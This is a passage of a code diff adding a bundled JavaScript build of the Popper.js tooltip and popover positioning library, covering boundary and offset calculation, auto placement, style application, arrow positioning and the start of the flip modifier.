+      result.height -= vertScrollbar;
+    }
+
+    return getClientRect(result);
+  }
+
+  function getOffsetRectRelativeToArbitraryNode(children, parent) {
+    var fixedPosition = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : false;
+
+    var isIE10 = isIE(10);
+    var isHTML = parent.nodeName === 'HTML';
+    var childrenRect = getBoundingClientRect(children);
+    var parentRect = getBoundingClientRect(parent);
+    var scrollParent = getScrollParent(children);
+
+    var styles = getStyleComputedProperty(parent);
+    var borderTopWidth = parseFloat(styles.borderTopWidth, 10);
+    var borderLeftWidth = parseFloat(styles.borderLeftWidth, 10);
+
+    // In cases where the parent is fixed, we must ignore negative scroll in offset calc
+    if (fixedPosition && parent.nodeName === 'HTML') {
+      parentRect.top = Math.max(parentRect.top, 0);
+      parentRect.left = Math.max(parentRect.left, 0);
+    }
+    var offsets = getClientRect({
+      top: childrenRect.top - parentRect.top - borderTopWidth,
+      left: childrenRect.left - parentRect.left - borderLeftWidth,
+      width: childrenRect.width,
+      height: childrenRect.height
+    });
+    offsets.marginTop = 0;
+    offsets.marginLeft = 0;
+
+    // Subtract margins of documentElement in case it's being used as parent
+    // we do this only on HTML because it's the only element that behaves
+    // differently when margins are applied to it. The margins are included in
+    // the box of the documentElement, in the other cases not.
+    if (!isIE10 && isHTML) {
+      var marginTop = parseFloat(styles.marginTop, 10);
+      var marginLeft = parseFloat(styles.marginLeft, 10);
+
+      offsets.top -= borderTopWidth - marginTop;
+      offsets.bottom -= borderTopWidth - marginTop;
+      offsets.left -= borderLeftWidth - marginLeft;
+      offsets.right -= borderLeftWidth - marginLeft;
+
+      // Attach marginTop and marginLeft because in some circumstances we may need them
+      offsets.marginTop = marginTop;
+      offsets.marginLeft = marginLeft;
+    }
+
+    if (isIE10 && !fixedPosition ? parent.contains(scrollParent) : parent === scrollParent && scrollParent.nodeName !== 'BODY') {
+      offsets = includeScroll(offsets, parent);
+    }
+
+    return offsets;
+  }
+
+  function getViewportOffsetRectRelativeToArtbitraryNode(element) {
+    var excludeScroll = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : false;
+
+    var html = element.ownerDocument.documentElement;
+    var relativeOffset = getOffsetRectRelativeToArbitraryNode(element, html);
+    var width = Math.max(html.clientWidth, window.innerWidth || 0);
+    var height = Math.max(html.clientHeight, window.innerHeight || 0);
+
+    var scrollTop = !excludeScroll ? getScroll(html) : 0;
+    var scrollLeft = !excludeScroll ? getScroll(html, 'left') : 0;
+
+    var offset = {
+      top: scrollTop - relativeOffset.top + relativeOffset.marginTop,
+      left: scrollLeft - relativeOffset.left + relativeOffset.marginLeft,
+      width: width,
+      height: height
+    };
+
+    return getClientRect(offset);
+  }
+
+  /**
+   * Check if the given element is fixed or is inside a fixed parent
+   * @method
+   * @memberof Popper.Utils
+   * @argument {Element} element
+   * @argument {Element} customContainer
+   * @returns {Boolean} answer to "isFixed?"
+   */
+  function isFixed(element) {
+    var nodeName = element.nodeName;
+    if (nodeName === 'BODY' || nodeName === 'HTML') {
+      return false;
+    }
+    if (getStyleComputedProperty(element, 'position') === 'fixed') {
+      return true;
+    }
+    return isFixed(getParentNode(element));
+  }
+
+  /**
+   * Finds the first parent of an element that has a transformed property defined
+   * @method
+   * @memberof Popper.Utils
+   * @argument {Element} element
+   * @returns {Element} first transformed parent or documentElement
+   */
+
+  function getFixedPositionOffsetParent(element) {
+    // This check is needed to avoid errors in case one of the elements isn't defined for any reason
+    if (!element || !element.parentElement || isIE()) {
+      return document.documentElement;
+    }
+    var el = element.parentElement;
+    while (el && getStyleComputedProperty(el, 'transform') === 'none') {
+      el = el.parentElement;
+    }
+    return el || document.documentElement;
+  }
+
+  /**
+   * Computed the boundaries limits and return them
+   * @method
+   * @memberof Popper.Utils
+   * @param {HTMLElement} popper
+   * @param {HTMLElement} reference
+   * @param {number} padding
+   * @param {HTMLElement} boundariesElement - Element used to define the boundaries
+   * @param {Boolean} fixedPosition - Is in fixed position mode
+   * @returns {Object} Coordinates of the boundaries
+   */
+  function getBoundaries(popper, reference, padding, boundariesElement) {
+    var fixedPosition = arguments.length > 4 && arguments[4] !== undefined ? arguments[4] : false;
+
+    // NOTE: 1 DOM access here
+
+    var boundaries = { top: 0, left: 0 };
+    var offsetParent = fixedPosition ? getFixedPositionOffsetParent(popper) : findCommonOffsetParent(popper, reference);
+
+    // Handle viewport case
+    if (boundariesElement === 'viewport') {
+      boundaries = getViewportOffsetRectRelativeToArtbitraryNode(offsetParent, fixedPosition);
+    } else {
+      // Handle other cases based on DOM element used as boundaries
+      var boundariesNode = void 0;
+      if (boundariesElement === 'scrollParent') {
+        boundariesNode = getScrollParent(getParentNode(reference));
+        if (boundariesNode.nodeName === 'BODY') {
+          boundariesNode = popper.ownerDocument.documentElement;
+        }
+      } else if (boundariesElement === 'window') {
+        boundariesNode = popper.ownerDocument.documentElement;
+      } else {
+        boundariesNode = boundariesElement;
+      }
+
+      var offsets = getOffsetRectRelativeToArbitraryNode(boundariesNode, offsetParent, fixedPosition);
+
+      // In case of HTML, we need a different computation
+      if (boundariesNode.nodeName === 'HTML' && !isFixed(offsetParent)) {
+        var _getWindowSizes = getWindowSizes(),
+            height = _getWindowSizes.height,
+            width = _getWindowSizes.width;
+
+        boundaries.top += offsets.top - offsets.marginTop;
+        boundaries.bottom = height + offsets.top;
+        boundaries.left += offsets.left - offsets.marginLeft;
+        boundaries.right = width + offsets.left;
+      } else {
+        // for all the other DOM elements, this one is good
+        boundaries = offsets;
+      }
+    }
+
+    // Add paddings
+    boundaries.left += padding;
+    boundaries.top += padding;
+    boundaries.right -= padding;
+    boundaries.bottom -= padding;
+
+    return boundaries;
+  }
+
+  function getArea(_ref) {
+    var width = _ref.width,
+        height = _ref.height;
+
+    return width * height;
+  }
+
+  /**
+   * Utility used to transform the `auto` placement to the placement with more
+   * available space.
+   * @method
+   * @memberof Popper.Utils
+   * @argument {Object} data - The data object generated by update method
+   * @argument {Object} options - Modifiers configuration and options
+   * @returns {Object} The data object, properly modified
+   */
+  function computeAutoPlacement(placement, refRect, popper, reference, boundariesElement) {
+    var padding = arguments.length > 5 && arguments[5] !== undefined ? arguments[5] : 0;
+
+    if (placement.indexOf('auto') === -1) {
+      return placement;
+    }
+
+    var boundaries = getBoundaries(popper, reference, padding, boundariesElement);
+
+    var rects = {
+      top: {
+        width: boundaries.width,
+        height: refRect.top - boundaries.top
+      },
+      right: {
+        width: boundaries.right - refRect.right,
+        height: boundaries.height
+      },
+      bottom: {
+        width: boundaries.width,
+        height: boundaries.bottom - refRect.bottom
+      },
+      left: {
+        width: refRect.left - boundaries.left,
+        height: boundaries.height
+      }
+    };
+
+    var sortedAreas = Object.keys(rects).map(function (key) {
+      return _extends({
+        key: key
+      }, rects[key], {
+        area: getArea(rects[key])
+      });
+    }).sort(function (a, b) {
+      return b.area - a.area;
+    });
+
+    var filteredAreas = sortedAreas.filter(function (_ref2) {
+      var width = _ref2.width,
+          height = _ref2.height;
+      return width >= popper.clientWidth && height >= popper.clientHeight;
+    });
+
+    var computedPlacement = filteredAreas.length > 0 ? filteredAreas[0].key : sortedAreas[0].key;
+
+    var variation = placement.split('-')[1];
+
+    return computedPlacement + (variation ? '-' + variation : '');
+  }
+
+  /**
+   * Get offsets to the reference element
+   * @method
+   * @memberof Popper.Utils
+   * @param {Object} state
+   * @param {Element} popper - the popper element
+   * @param {Element} reference - the reference element (the popper will be relative to this)
+   * @param {Element} fixedPosition - is in fixed position mode
+   * @returns {Object} An object containing the offsets which will be applied to the popper
+   */
+  function getReferenceOffsets(state, popper, reference) {
+    var fixedPosition = arguments.length > 3 && arguments[3] !== undefined ? arguments[3] : null;
+
+    var commonOffsetParent = fixedPosition ? getFixedPositionOffsetParent(popper) : findCommonOffsetParent(popper, reference);
+    return getOffsetRectRelativeToArbitraryNode(reference, commonOffsetParent, fixedPosition);
+  }
+
+  /**
+   * Get the outer sizes of the given element (offset size + margins)
+   * @method
+   * @memberof Popper.Utils
+   * @argument {Element} element
+   * @returns {Object} object containing width and height properties
+   */
+  function getOuterSizes(element) {
+    var styles = getComputedStyle(element);
+    var x = parseFloat(styles.marginTop) + parseFloat(styles.marginBottom);
+    var y = parseFloat(styles.marginLeft) + parseFloat(styles.marginRight);
+    var result = {
+      width: element.offsetWidth + y,
+      height: element.offsetHeight + x
+    };
+    return result;
+  }
+
+  /**
+   * Get the opposite placement of the given one
+   * @method
+   * @memberof Popper.Utils
+   * @argument {String} placement
+   * @returns {String} flipped placement
+   */
+  function getOppositePlacement(placement) {
+    var hash = { left: 'right', right: 'left', bottom: 'top', top: 'bottom' };
+    return placement.replace(/left|right|bottom|top/g, function (matched) {
+      return hash[matched];
+    });
+  }
+
+  /**
+   * Get offsets to the popper
+   * @method
+   * @memberof Popper.Utils
+   * @param {Object} position - CSS position the Popper will get applied
+   * @param {HTMLElement} popper - the popper element
+   * @param {Object} referenceOffsets - the reference offsets (the popper will be relative to this)
+   * @param {String} placement - one of the valid placement options
+   * @returns {Object} popperOffsets - An object containing the offsets which will be applied to the popper
+   */
+  function getPopperOffsets(popper, referenceOffsets, placement) {
+    placement = placement.split('-')[0];
+
+    // Get popper node sizes
+    var popperRect = getOuterSizes(popper);
+
+    // Add position, width and height to our offsets object
+    var popperOffsets = {
+      width: popperRect.width,
+      height: popperRect.height
+    };
+
+    // depending by the popper placement we have to compute its offsets slightly differently
+    var isHoriz = ['right', 'left'].indexOf(placement) !== -1;
+    var mainSide = isHoriz ? 'top' : 'left';
+    var secondarySide = isHoriz ? 'left' : 'top';
+    var measurement = isHoriz ? 'height' : 'width';
+    var secondaryMeasurement = !isHoriz ? 'height' : 'width';
+
+    popperOffsets[mainSide] = referenceOffsets[mainSide] + referenceOffsets[measurement] / 2 - popperRect[measurement] / 2;
+    if (placement === secondarySide) {
+      popperOffsets[secondarySide] = referenceOffsets[secondarySide] - popperRect[secondaryMeasurement];
+    } else {
+      popperOffsets[secondarySide] = referenceOffsets[getOppositePlacement(secondarySide)];
+    }
+
+    return popperOffsets;
+  }
+
+  /**
+   * Mimics the `find` method of Array
+   * @method
+   * @memberof Popper.Utils
+   * @argument {Array} arr
+   * @argument prop
+   * @argument value
+   * @returns index or -1
+   */
+  function find(arr, check) {
+    // use native find if supported
+    if (Array.prototype.find) {
+      return arr.find(check);
+    }
+
+    // use `filter` to obtain the same behavior of `find`
+    return arr.filter(check)[0];
+  }
+
+  /**
+   * Return the index of the matching object
+   * @method
+   * @memberof Popper.Utils
+   * @argument {Array} arr
+   * @argument prop
+   * @argument value
+   * @returns index or -1
+   */
+  function findIndex(arr, prop, value) {
+    // use native findIndex if supported
+    if (Array.prototype.findIndex) {
+      return arr.findIndex(function (cur) {
+        return cur[prop] === value;
+      });
+    }
+
+    // use `find` + `indexOf` if `findIndex` isn't supported
+    var match = find(arr, function (obj) {
+      return obj[prop] === value;
+    });
+    return arr.indexOf(match);
+  }
+
+  /**
+   * Loop trough the list of modifiers and run them in order,
+   * each of them will then edit the data object.
+   * @method
+   * @memberof Popper.Utils
+   * @param {dataObject} data
+   * @param {Array} modifiers
+   * @param {String} ends - Optional modifier name used as stopper
+   * @returns {dataObject}
+   */
+  function runModifiers(modifiers, data, ends) {
+    var modifiersToRun = ends === undefined ? modifiers : modifiers.slice(0, findIndex(modifiers, 'name', ends));
+
+    modifiersToRun.forEach(function (modifier) {
+      if (modifier['function']) {
+        // eslint-disable-line dot-notation
+        console.warn('`modifier.function` is deprecated, use `modifier.fn`!');
+      }
+      var fn = modifier['function'] || modifier.fn; // eslint-disable-line dot-notation
+      if (modifier.enabled && isFunction(fn)) {
+        // Add properties to offsets to make them a complete clientRect object
+        // we do this before each modifier to make sure the previous one doesn't
+        // mess with these values
+        data.offsets.popper = getClientRect(data.offsets.popper);
+        data.offsets.reference = getClientRect(data.offsets.reference);
+
+        data = fn(data, modifier);
+      }
+    });
+
+    return data;
+  }
+
+  /**
+   * Updates the position of the popper, computing the new offsets and applying
+   * the new style.<br />
+   * Prefer `scheduleUpdate` over `update` because of performance reasons.
+   * @method
+   * @memberof Popper
+   */
+  function update() {
+    // if popper is destroyed, don't perform any further update
+    if (this.state.isDestroyed) {
+      return;
+    }
+
+    var data = {
+      instance: this,
+      styles: {},
+      arrowStyles: {},
+      attributes: {},
+      flipped: false,
+      offsets: {}
+    };
+
+    // compute reference element offsets
+    data.offsets.reference = getReferenceOffsets(this.state, this.popper, this.reference, this.options.positionFixed);
+
+    // compute auto placement, store placement inside the data object,
+    // modifiers will be able to edit `placement` if needed
+    // and refer to originalPlacement to know the original value
+    data.placement = computeAutoPlacement(this.options.placement, data.offsets.reference, this.popper, this.reference, this.options.modifiers.flip.boundariesElement, this.options.modifiers.flip.padding);
+
+    // store the computed placement inside `originalPlacement`
+    data.originalPlacement = data.placement;
+
+    data.positionFixed = this.options.positionFixed;
+
+    // compute the popper offsets
+    data.offsets.popper = getPopperOffsets(this.popper, data.offsets.reference, data.placement);
+    data.offsets.popper.position = this.options.positionFixed ? 'fixed' : 'absolute';
+
+    // run the modifiers
+    data = runModifiers(this.modifiers, data);
+
+    // the first `update` will call `onCreate` callback
+    // the other ones will call `onUpdate` callback
+    if (!this.state.isCreated) {
+      this.state.isCreated = true;
+      this.options.onCreate(data);
+    } else {
+      this.options.onUpdate(data);
+    }
+  }
+
+  /**
+   * Helper used to know if the given modifier is enabled.
+   * @method
+   * @memberof Popper.Utils
+   * @returns {Boolean}
+   */
+  function isModifierEnabled(modifiers, modifierName) {
+    return modifiers.some(function (_ref) {
+      var name = _ref.name,
+          enabled = _ref.enabled;
+      return enabled && name === modifierName;
+    });
+  }
+
+  /**
+   * Get the prefixed supported property name
+   * @method
+   * @memberof Popper.Utils
+   * @argument {String} property (camelCase)
+   * @returns {String} prefixed property (camelCase or PascalCase, depending on the vendor prefix)
+   */
+  function getSupportedPropertyName(property) {
+    var prefixes = [false, 'ms', 'Webkit', 'Moz', 'O'];
+    var upperProp = property.charAt(0).toUpperCase() + property.slice(1);
+
+    for (var i = 0; i < prefixes.length; i++) {
+      var prefix = prefixes[i];
+      var toCheck = prefix ? '' + prefix + upperProp : property;
+      if (typeof document.body.style[toCheck] !== 'undefined') {
+        return toCheck;
+      }
+    }
+    return null;
+  }
+
+  /**
+   * Destroy the popper
+   * @method
+   * @memberof Popper
+   */
+  function destroy() {
+    this.state.isDestroyed = true;
+
+    // touch DOM only if `applyStyle` modifier is enabled
+    if (isModifierEnabled(this.modifiers, 'applyStyle')) {
+      this.popper.removeAttribute('x-placement');
+      this.popper.style.position = '';
+      this.popper.style.top = '';
+      this.popper.style.left = '';
+      this.popper.style.right = '';
+      this.popper.style.bottom = '';
+      this.popper.style.willChange = '';
+      this.popper.style[getSupportedPropertyName('transform')] = '';
+    }
+
+    this.disableEventListeners();
+
+    // remove the popper if user explicity asked for the deletion on destroy
+    // do not use `remove` because IE11 doesn't support it
+    if (this.options.removeOnDestroy) {
+      this.popper.parentNode.removeChild(this.popper);
+    }
+    return this;
+  }
+
+  /**
+   * Get the window associated with the element
+   * @argument {Element} element
+   * @returns {Window}
+   */
+  function getWindow(element) {
+    var ownerDocument = element.ownerDocument;
+    return ownerDocument ? ownerDocument.defaultView : window;
+  }
+
+  function attachToScrollParents(scrollParent, event, callback, scrollParents) {
+    var isBody = scrollParent.nodeName === 'BODY';
+    var target = isBody ? scrollParent.ownerDocument.defaultView : scrollParent;
+    target.addEventListener(event, callback, { passive: true });
+
+    if (!isBody) {
+      attachToScrollParents(getScrollParent(target.parentNode), event, callback, scrollParents);
+    }
+    scrollParents.push(target);
+  }
+
+  /**
+   * Setup needed event listeners used to update the popper position
+   * @method
+   * @memberof Popper.Utils
+   * @private
+   */
+  function setupEventListeners(reference, options, state, updateBound) {
+    // Resize event listener on window
+    state.updateBound = updateBound;
+    getWindow(reference).addEventListener('resize', state.updateBound, { passive: true });
+
+    // Scroll event listener on scroll parents
+    var scrollElement = getScrollParent(reference);
+    attachToScrollParents(scrollElement, 'scroll', state.updateBound, state.scrollParents);
+    state.scrollElement = scrollElement;
+    state.eventsEnabled = true;
+
+    return state;
+  }
+
+  /**
+   * It will add resize/scroll events and start recalculating
+   * position of the popper element when they are triggered.
+   * @method
+   * @memberof Popper
+   */
+  function enableEventListeners() {
+    if (!this.state.eventsEnabled) {
+      this.state = setupEventListeners(this.reference, this.options, this.state, this.scheduleUpdate);
+    }
+  }
+
+  /**
+   * Remove event listeners used to update the popper position
+   * @method
+   * @memberof Popper.Utils
+   * @private
+   */
+  function removeEventListeners(reference, state) {
+    // Remove resize event listener on window
+    getWindow(reference).removeEventListener('resize', state.updateBound);
+
+    // Remove scroll event listener on scroll parents
+    state.scrollParents.forEach(function (target) {
+      target.removeEventListener('scroll', state.updateBound);
+    });
+
+    // Reset state
+    state.updateBound = null;
+    state.scrollParents = [];
+    state.scrollElement = null;
+    state.eventsEnabled = false;
+    return state;
+  }
+
+  /**
+   * It will remove resize/scroll events and won't recalculate popper position
+   * when they are triggered. It also won't trigger onUpdate callback anymore,
+   * unless you call `update` method manually.
+   * @method
+   * @memberof Popper
+   */
+  function disableEventListeners() {
+    if (this.state.eventsEnabled) {
+      cancelAnimationFrame(this.scheduleUpdate);
+      this.state = removeEventListeners(this.reference, this.state);
+    }
+  }
+
+  /**
+   * Tells if a given input is a number
+   * @method
+   * @memberof Popper.Utils
+   * @param {*} input to check
+   * @return {Boolean}
+   */
+  function isNumeric(n) {
+    return n !== '' && !isNaN(parseFloat(n)) && isFinite(n);
+  }
+
+  /**
+   * Set the style to the given popper
+   * @method
+   * @memberof Popper.Utils
+   * @argument {Element} element - Element to apply the style to
+   * @argument {Object} styles
+   * Object with a list of properties and values which will be applied to the element
+   */
+  function setStyles(element, styles) {
+    Object.keys(styles).forEach(function (prop) {
+      var unit = '';
+      // add unit if the value is numeric and is one of the following
+      if (['width', 'height', 'top', 'right', 'bottom', 'left'].indexOf(prop) !== -1 && isNumeric(styles[prop])) {
+        unit = 'px';
+      }
+      element.style[prop] = styles[prop] + unit;
+    });
+  }
+
+  /**
+   * Set the attributes to the given popper
+   * @method
+   * @memberof Popper.Utils
+   * @argument {Element} element - Element to apply the attributes to
+   * @argument {Object} styles
+   * Object with a list of properties and values which will be applied to the element
+   */
+  function setAttributes(element, attributes) {
+    Object.keys(attributes).forEach(function (prop) {
+      var value = attributes[prop];
+      if (value !== false) {
+        element.setAttribute(prop, attributes[prop]);
+      } else {
+        element.removeAttribute(prop);
+      }
+    });
+  }
+
+  /**
+   * @function
+   * @memberof Modifiers
+   * @argument {Object} data - The data object generated by `update` method
+   * @argument {Object} data.styles - List of style properties - values to apply to popper element
+   * @argument {Object} data.attributes - List of attribute properties - values to apply to popper element
+   * @argument {Object} options - Modifiers configuration and options
+   * @returns {Object} The same data object
+   */
+  function applyStyle(data) {
+    // any property present in `data.styles` will be applied to the popper,
+    // in this way we can make the 3rd party modifiers add custom styles to it
+    // Be aware, modifiers could override the properties defined in the previous
+    // lines of this modifier!
+    setStyles(data.instance.popper, data.styles);
+
+    // any property present in `data.attributes` will be applied to the popper,
+    // they will be set as HTML attributes of the element
+    setAttributes(data.instance.popper, data.attributes);
+
+    // if arrowElement is defined and arrowStyles has some properties
+    if (data.arrowElement && Object.keys(data.arrowStyles).length) {
+      setStyles(data.arrowElement, data.arrowStyles);
+    }
+
+    return data;
+  }
+
+  /**
+   * Set the x-placement attribute before everything else because it could be used
+   * to add margins to the popper margins needs to be calculated to get the
+   * correct popper offsets.
+   * @method
+   * @memberof Popper.modifiers
+   * @param {HTMLElement} reference - The reference element used to position the popper
+   * @param {HTMLElement} popper - The HTML element used as popper
+   * @param {Object} options - Popper.js options
+   */
+  function applyStyleOnLoad(reference, popper, options, modifierOptions, state) {
+    // compute reference element offsets
+    var referenceOffsets = getReferenceOffsets(state, popper, reference, options.positionFixed);
+
+    // compute auto placement, store placement inside the data object,
+    // modifiers will be able to edit `placement` if needed
+    // and refer to originalPlacement to know the original value
+    var placement = computeAutoPlacement(options.placement, referenceOffsets, popper, reference, options.modifiers.flip.boundariesElement, options.modifiers.flip.padding);
+
+    popper.setAttribute('x-placement', placement);
+
+    // Apply `position` to popper before anything else because
+    // without the position applied we can't guarantee correct computations
+    setStyles(popper, { position: options.positionFixed ? 'fixed' : 'absolute' });
+
+    return options;
+  }
+
+  /**
+   * @function
+   * @memberof Modifiers
+   * @argument {Object} data - The data object generated by `update` method
+   * @argument {Object} options - Modifiers configuration and options
+   * @returns {Object} The data object, properly modified
+   */
+  function computeStyle(data, options) {
+    var x = options.x,
+        y = options.y;
+    var popper = data.offsets.popper;
+
+    // Remove this legacy support in Popper.js v2
+
+    var legacyGpuAccelerationOption = find(data.instance.modifiers, function (modifier) {
+      return modifier.name === 'applyStyle';
+    }).gpuAcceleration;
+    if (legacyGpuAccelerationOption !== undefined) {
+      console.warn('WARNING: `gpuAcceleration` option moved to `computeStyle` modifier and will not be supported in future versions of Popper.js!');
+    }
+    var gpuAcceleration = legacyGpuAccelerationOption !== undefined ? legacyGpuAccelerationOption : options.gpuAcceleration;
+
+    var offsetParent = getOffsetParent(data.instance.popper);
+    var offsetParentRect = getBoundingClientRect(offsetParent);
+
+    // Styles
+    var styles = {
+      position: popper.position
+    };
+
+    // floor sides to avoid blurry text
+    var offsets = {
+      left: Math.floor(popper.left),
+      top: Math.floor(popper.top),
+      bottom: Math.floor(popper.bottom),
+      right: Math.floor(popper.right)
+    };
+
+    var sideA = x === 'bottom' ? 'top' : 'bottom';
+    var sideB = y === 'right' ? 'left' : 'right';
+
+    // if gpuAcceleration is set to `true` and transform is supported,
+    //  we use `translate3d` to apply the position to the popper we
+    // automatically use the supported prefixed version if needed
+    var prefixedProperty = getSupportedPropertyName('transform');
+
+    // now, let's make a step back and look at this code closely (wtf?)
+    // If the content of the popper grows once it's been positioned, it
+    // may happen that the popper gets misplaced because of the new content
+    // overflowing its reference element
+    // To avoid this problem, we provide two options (x and y), which allow
+    // the consumer to define the offset origin.
+    // If we position a popper on top of a reference element, we can set
+    // `x` to `top` to make the popper grow towards its top instead of
+    // its bottom.
+    var left = void 0,
+        top = void 0;
+    if (sideA === 'bottom') {
+      top = -offsetParentRect.height + offsets.bottom;
+    } else {
+      top = offsets.top;
+    }
+    if (sideB === 'right') {
+      left = -offsetParentRect.width + offsets.right;
+    } else {
+      left = offsets.left;
+    }
+    if (gpuAcceleration && prefixedProperty) {
+      styles[prefixedProperty] = 'translate3d(' + left + 'px, ' + top + 'px, 0)';
+      styles[sideA] = 0;
+      styles[sideB] = 0;
+      styles.willChange = 'transform';
+    } else {
+      // othwerise, we use the standard `top`, `left`, `bottom` and `right` properties
+      var invertTop = sideA === 'bottom' ? -1 : 1;
+      var invertLeft = sideB === 'right' ? -1 : 1;
+      styles[sideA] = top * invertTop;
+      styles[sideB] = left * invertLeft;
+      styles.willChange = sideA + ', ' + sideB;
+    }
+
+    // Attributes
+    var attributes = {
+      'x-placement': data.placement
+    };
+
+    // Update `data` attributes, styles and arrowStyles
+    data.attributes = _extends({}, attributes, data.attributes);
+    data.styles = _extends({}, styles, data.styles);
+    data.arrowStyles = _extends({}, data.offsets.arrow, data.arrowStyles);
+
+    return data;
+  }
+
+  /**
+   * Helper used to know if the given modifier depends from another one.<br />
+   * It checks if the needed modifier is listed and enabled.
+   * @method
+   * @memberof Popper.Utils
+   * @param {Array} modifiers - list of modifiers
+   * @param {String} requestingName - name of requesting modifier
+   * @param {String} requestedName - name of requested modifier
+   * @returns {Boolean}
+   */
+  function isModifierRequired(modifiers, requestingName, requestedName) {
+    var requesting = find(modifiers, function (_ref) {
+      var name = _ref.name;
+      return name === requestingName;
+    });
+
+    var isRequired = !!requesting && modifiers.some(function (modifier) {
+      return modifier.name === requestedName && modifier.enabled && modifier.order < requesting.order;
+    });
+
+    if (!isRequired) {
+      var _requesting = '`' + requestingName + '`';
+      var requested = '`' + requestedName + '`';
+      console.warn(requested + ' modifier is required by ' + _requesting + ' modifier in order to work, be sure to include it before ' + _requesting + '!');
+    }
+    return isRequired;
+  }
+
+  /**
+   * @function
+   * @memberof Modifiers
+   * @argument {Object} data - The data object generated by update method
+   * @argument {Object} options - Modifiers configuration and options
+   * @returns {Object} The data object, properly modified
+   */
+  function arrow(data, options) {
+    var _data$offsets$arrow;
+
+    // arrow depends on keepTogether in order to work
+    if (!isModifierRequired(data.instance.modifiers, 'arrow', 'keepTogether')) {
+      return data;
+    }
+
+    var arrowElement = options.element;
+
+    // if arrowElement is a string, suppose it's a CSS selector
+    if (typeof arrowElement === 'string') {
+      arrowElement = data.instance.popper.querySelector(arrowElement);
+
+      // if arrowElement is not found, don't run the modifier
+      if (!arrowElement) {
+        return data;
+      }
+    } else {
+      // if the arrowElement isn't a query selector we must check that the
+      // provided DOM node is child of its popper node
+      if (!data.instance.popper.contains(arrowElement)) {
+        console.warn('WARNING: `arrow.element` must be child of its popper element!');
+        return data;
+      }
+    }
+
+    var placement = data.placement.split('-')[0];
+    var _data$offsets = data.offsets,
+        popper = _data$offsets.popper,
+        reference = _data$offsets.reference;
+
+    var isVertical = ['left', 'right'].indexOf(placement) !== -1;
+
+    var len = isVertical ? 'height' : 'width';
+    var sideCapitalized = isVertical ? 'Top' : 'Left';
+    var side = sideCapitalized.toLowerCase();
+    var altSide = isVertical ? 'left' : 'top';
+    var opSide = isVertical ? 'bottom' : 'right';
+    var arrowElementSize = getOuterSizes(arrowElement)[len];
+
+    //
+    // extends keepTogether behavior making sure the popper and its
+    // reference have enough pixels in conjuction
+    //
+
+    // top/left side
+    if (reference[opSide] - arrowElementSize < popper[side]) {
+      data.offsets.popper[side] -= popper[side] - (reference[opSide] - arrowElementSize);
+    }
+    // bottom/right side
+    if (reference[side] + arrowElementSize > popper[opSide]) {
+      data.offsets.popper[side] += reference[side] + arrowElementSize - popper[opSide];
+    }
+    data.offsets.popper = getClientRect(data.offsets.popper);
+
+    // compute center of the popper
+    var center = reference[side] + reference[len] / 2 - arrowElementSize / 2;
+
+    // Compute the sideValue using the updated popper offsets
+    // take popper margin in account because we don't have this info available
+    var css = getStyleComputedProperty(data.instance.popper);
+    var popperMarginSide = parseFloat(css['margin' + sideCapitalized], 10);
+    var popperBorderSide = parseFloat(css['border' + sideCapitalized + 'Width'], 10);
+    var sideValue = center - data.offsets.popper[side] - popperMarginSide - popperBorderSide;
+
+    // prevent arrowElement from being placed not contiguously to its popper
+    sideValue = Math.max(Math.min(popper[len] - arrowElementSize, sideValue), 0);
+
+    data.arrowElement = arrowElement;
+    data.offsets.arrow = (_data$offsets$arrow = {}, defineProperty(_data$offsets$arrow, side, Math.round(sideValue)), defineProperty(_data$offsets$arrow, altSide, ''), _data$offsets$arrow);
+
+    return data;
+  }
+
+  /**
+   * Get the opposite placement variation of the given one
+   * @method
+   * @memberof Popper.Utils
+   * @argument {String} placement variation
+   * @returns {String} flipped placement variation
+   */
+  function getOppositeVariation(variation) {
+    if (variation === 'end') {
+      return 'start';
+    } else if (variation === 'start') {
+      return 'end';
+    }
+    return variation;
+  }
+
+  /**
+   * List of accepted placements to use as values of the `placement` option.<br />
+   * Valid placements are:
+   * - `auto`
+   * - `top`
+   * - `right`
+   * - `bottom`
+   * - `left`
+   *
+   * Each placement can have a variation from this list:
+   * - `-start`
+   * - `-end`
+   *
+   * Variations are interpreted easily if you think of them as the left to right
+   * written languages. Horizontally (`top` and `bottom`), `start` is left and `end`
+   * is right.<br />
+   * Vertically (`left` and `right`), `start` is top and `end` is bottom.
+   *
+   * Some valid examples are:
+   * - `top-end` (on top of reference, right aligned)
+   * - `right-start` (on right of reference, top aligned)
+   * - `bottom` (on bottom, centered)
+   * - `auto-right` (on the side with more space available, alignment depends by placement)
+   *
+   * @static
+   * @type {Array}
+   * @enum {String}
+   * @readonly
+   * @method placements
+   * @memberof Popper
+   */
+  var placements = ['auto-start', 'auto', 'auto-end', 'top-start', 'top', 'top-end', 'right-start', 'right', 'right-end', 'bottom-end', 'bottom', 'bottom-start', 'left-end', 'left', 'left-start'];
+
+  // Get rid of `auto` `auto-start` and `auto-end`
+  var validPlacements = placements.slice(3);
+
+  /**
+   * Given an initial placement, returns all the subsequent placements
+   * clockwise (or counter-clockwise).
+   *
+   * @method
+   * @memberof Popper.Utils
+   * @argument {String} placement - A valid placement (it accepts variations)
+   * @argument {Boolean} counter - Set to true to walk the placements counterclockwise
+   * @returns {Array} placements including their variations
+   */
+  function clockwise(placement) {
+    var counter = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : false;
+
+    var index = validPlacements.indexOf(placement);
+    var arr = validPlacements.slice(index + 1).concat(validPlacements.slice(0, index));
+    return counter ? arr.reverse() : arr;
+  }
+
+  var BEHAVIORS = {
+    FLIP: 'flip',
+    CLOCKWISE: 'clockwise',
+    COUNTERCLOCKWISE: 'counterclockwise'
+  };
+
+  /**
+   * @function
+   * @memberof Modifiers
+   * @argument {Object} data - The data object generated by update method
+   * @argument {Object} options - Modifiers configuration and options
+   * @returns {Object} The data object, properly modified
+   */
+  function flip(data, options) {
+    // if `inner` modifier is enabled, we can't use the `flip` modifier
+    if (isModifierEnabled(data.instance.modifiers, 'inner')) {
+      return data;
+    }
+
+    if (data.flipped && data.placement === data.originalPlacement) {
+      // seems like flip is trying to loop, probably there's not enough space on any of the flippable sides
+      return data;
+    }
+
+    var boundaries = getBoundaries(data.instance.popper, data.instance.reference, options.padding, options.boundariesElement, data.positionFixed);
+
+    var placement = data.placement.split('-')[0];
+    var placementOpposite = getOppositePlacement(placement);
+    var variation = data.placement.split('-')[1] || '';
+
+    var flipOrder = [];
+
+    switch (options.behavior) {
+      case BEHAVIORS.FLIP:
+        flipOrder = [placement, placementOpposite];
+        break;
